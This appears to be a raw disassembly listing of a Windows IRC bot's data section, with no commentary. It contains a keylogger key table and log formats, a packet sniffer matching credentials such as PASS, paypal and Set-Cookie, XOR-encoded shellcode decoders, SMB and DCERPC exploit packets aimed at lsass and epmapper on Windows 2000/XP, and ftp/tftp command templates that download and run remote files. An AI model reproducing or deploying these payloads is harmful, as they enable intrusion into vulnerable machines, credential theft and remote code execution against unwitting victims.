dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_425BBC dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_402394+2AAo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_425BF4 dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
; DATA XREF: sub_4022B5+ACo
dd 2202967h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022B5+86o
align 10h
aAb db 'ab',0 ; DATA XREF: sub_4022B5+4Eo
; sub_40EC43+2AAAo
align 4
asc_425C34: ; DATA XREF: sub_4022B5+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_402394+21Co
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_402394+1D9o
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_402394+8Fo
align 10h
off_425C80 dd offset dword_4264F8 ; DATA XREF: sub_402669+29Er
dd offset off_4264F4
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dword_425C90 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402669+1DEo
dword_425CA4 dd 0 ; DATA XREF: sub_402669+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: .data:00425C8Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: .data:00425C88o
off_4264F4 dd offset aLedThreadS_ ; DATA XREF: .data:00425C84o
; "led thread: %s."
dword_4264F8 dd 544F42h, 0 ; DATA XREF: .data:off_425C80o
unk_426500 db 2 ; DATA XREF: sub_402669+2FCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 8
unk_426548 db 2 ; DATA XREF: sub_402669+2ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402669+236o
align 4
unk_426598 db 2 ; DATA XREF: sub_402669+186o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 10h
unk_4265E0 db 2 ; DATA XREF: sub_402669+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 8
unk_426628 db 2 ; DATA XREF: sub_402669+85o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_0 db 'Error: socket() failed, returned: <%d>.',0
align 10h
dword_426670 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DB1+DEo
; sub_402DB1+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_4266C0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_402B61+120o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_426A24 dd 20h, 0 ; DATA XREF: sub_402B61+133o
dd 20h, 5C005Ch, 0
off_426A38 dd offset off_43005C ; DATA XREF: sub_402B61+15Ao
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dword_426A78 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B61+171o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B61+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_426B88 dd 18759Fh ; DATA XREF: sub_402B61+101o
dword_426B8C dd 100139Dh ; DATA XREF: sub_402B61+F8o
asc_426B90: ; DATA XREF: sub_4029C8+1Co
; sub_402AAB+16o
unicode 0, <\\>,0
align 4
off_426B98 dd offset dword_49005C ; DATA XREF: sub_4029C8+Co
; sub_402AAB+Bo
dd offset off_430050
dd 24h
unk_426BA4 db 2 ; DATA XREF: sub_402DB1+299o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTransferComple db ' transfer complete to IP: %s',0
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DB1+41o
align 10h
jmp short loc_426C02
; =============== S U B R O U T I N E =======================================
sub_426BF2 proc far ; CODE XREF: sub_426BF2:loc_426C02p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_426BFA: ; CODE XREF: sub_426BF2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_426BFA
jmp short loc_426C07
; ---------------------------------------------------------------------------
loc_426C02: ; CODE XREF: .data:00426BF0j
call near ptr sub_426BF2
loc_426C07: ; CODE XREF: sub_426BF2+Ej
jo short loc_426C6B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_426C89
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_426C6B: ; CODE XREF: sub_426BF2:loc_426C07j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_426C89: ; CODE XREF: sub_426BF2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_426BF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_426D30: ; DATA XREF: sub_40321F+157o
; sub_40321F+214o
jmp short loc_426D42
; =============== S U B R O U T I N E =======================================
sub_426D32 proc near ; CODE XREF: sub_426D32:loc_426D42p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_426D3A: ; CODE XREF: sub_426D32+Cj
xor byte ptr [edx+ecx], 99h
loop loc_426D3A
jmp short loc_426D47
; ---------------------------------------------------------------------------
loc_426D42: ; CODE XREF: .data:loc_426D30j
call sub_426D32
loc_426D47: ; CODE XREF: sub_426D32+Ej
jo short near ptr dword_426CC0+1Eh
cwde
cdq
cdq
retn
sub_426D32 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_426DE0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40321F+106o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_426EC8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .data:004036E5o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_426F58 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .data:00403711o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 2 dup(0)
dword_427008 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .data:00403738o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4270E8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40321F+59o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40321F+8Bo
unicode 0, <C$>,0
a????? db '?????',0
align 10h
dword_427150 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40321F+2ACo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_4271C0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40321F+2D3o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_427268 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40321F+3B2o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4272E8 dd offset loc_401493+2 ; DATA XREF: sub_40321F+3E0o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_427380 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40321F+308o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_4273F0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40321F+333o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_427468 dd 0 ; DATA XREF: sub_40321F+361o
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_427528 dd 1004600h ; DATA XREF: sub_40321F+141r
; sub_40321F+247r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_4275E0 dd 0A0D7325h, 0 ; DATA XREF: sub_4030BE+102o
; sub_404FF8+DFo ...
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4030BE+BEo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030BE+97o
; ---------------------------------------------------------------------------
loc_427668: ; DATA XREF: sub_40321F+178o
jmp short loc_427670
; ---------------------------------------------------------------------------
jmp short loc_427672
; ---------------------------------------------------------------------------
align 10h
loc_427670: ; CODE XREF: .data:loc_427668j
; DATA XREF: sub_40321F+27o ...
pop esp
pop esp
loc_427672: ; CODE XREF: .data:0042766Aj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_42767C dd 1CEC8166h ; DATA XREF: sub_40321F+Dr
dword_427680 dd 0E4FF07h ; DATA XREF: sub_40321F+16r
align 8
byte_427688 db 90h ; DATA XREF: sub_403A59+B2o
db 42h, 90h, 42h
db 90h
dd offset word_429042
align 4
dword_427694 dd 10FF8h, 0 ; DATA XREF: sub_403A59+6Ao
dword_42769C dd 10FF8h ; DATA XREF: sub_403A59+79o
dword_4276A0 dd 7FFDF020h, 0 ; DATA XREF: sub_403A59+162o
dword_4276A8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403E73+78o
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427730 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403E73+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
